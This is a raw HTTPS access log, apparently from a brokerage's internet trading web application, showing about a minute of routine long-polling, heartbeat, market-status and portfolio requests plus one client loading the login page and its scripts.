[09/Jan/2026:14:24:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940112176 HTTP/1.1" -
[09/Jan/2026:14:24:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:24:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940121722 HTTP/1.1" -
[09/Jan/2026:14:24:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940115587 HTTP/1.1" -
[09/Jan/2026:14:24:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:24:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:24:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940117242 HTTP/1.1" -
[09/Jan/2026:14:24:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940135192 HTTP/1.1" -
[09/Jan/2026:14:24:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Orderbook HTTP/1.1" 1354
[09/Jan/2026:14:24:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940126794 HTTP/1.1" -
[09/Jan/2026:14:24:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940120690 HTTP/1.1" -
[09/Jan/2026:14:24:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:11 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1899
[09/Jan/2026:14:24:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940122368 HTTP/1.1" -
[09/Jan/2026:14:24:16 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940131822 HTTP/1.1" -
[09/Jan/2026:14:24:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940141190 HTTP/1.1" -
[09/Jan/2026:14:24:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940125749 HTTP/1.1" -
[09/Jan/2026:14:24:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940127430 HTTP/1.1" -
[09/Jan/2026:14:24:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:24:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940136849 HTTP/1.1" -
[09/Jan/2026:14:24:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940130950 HTTP/1.1" -
[09/Jan/2026:14:24:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940147185 HTTP/1.1" -
[09/Jan/2026:14:24:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940132499 HTTP/1.1" -
[09/Jan/2026:14:24:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:14:24:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940141877 HTTP/1.1" -
[09/Jan/2026:14:24:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940136081 HTTP/1.1" -
[09/Jan/2026:14:24:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940153190 HTTP/1.1" -
[09/Jan/2026:14:24:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940146967 HTTP/1.1" -
[09/Jan/2026:14:24:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940141220 HTTP/1.1" -
[09/Jan/2026:14:24:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940159199 HTTP/1.1" -
[09/Jan/2026:14:24:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:24:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940152042 HTTP/1.1" -
[09/Jan/2026:14:24:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:24:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940146376 HTTP/1.1" -
[09/Jan/2026:14:24:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:14:24:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:24:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:24:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940157079 HTTP/1.1" -
[09/Jan/2026:14:24:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940151432 HTTP/1.1" -
[09/Jan/2026:14:24:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940162158 HTTP/1.1" -
[09/Jan/2026:14:24:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940156483 HTTP/1.1" -
[09/Jan/2026:14:24:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:24:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:24:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940167231 HTTP/1.1" -
[09/Jan/2026:14:24:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940161639 HTTP/1.1" -
[09/Jan/2026:14:24:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940172281 HTTP/1.1" -
[09/Jan/2026:14:24:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940166759 HTTP/1.1" -
[09/Jan/2026:14:25:01 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940177372 HTTP/1.1" -
[09/Jan/2026:14:25:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940171907 HTTP/1.1" -
[09/Jan/2026:14:25:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:25:06 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940182469 HTTP/1.1" -
[09/Jan/2026:14:25:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:25:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940177045 HTTP/1.1" -
[09/Jan/2026:14:25:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:25:12 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940187507 HTTP/1.1" -
[09/Jan/2026:14:25:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940182154 HTTP/1.1" -
[09/Jan/2026:14:25:17 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940192594 HTTP/1.1" -
[09/Jan/2026:14:25:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940187220 HTTP/1.1" -
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767940204656 HTTP/1.1" -
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:25:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
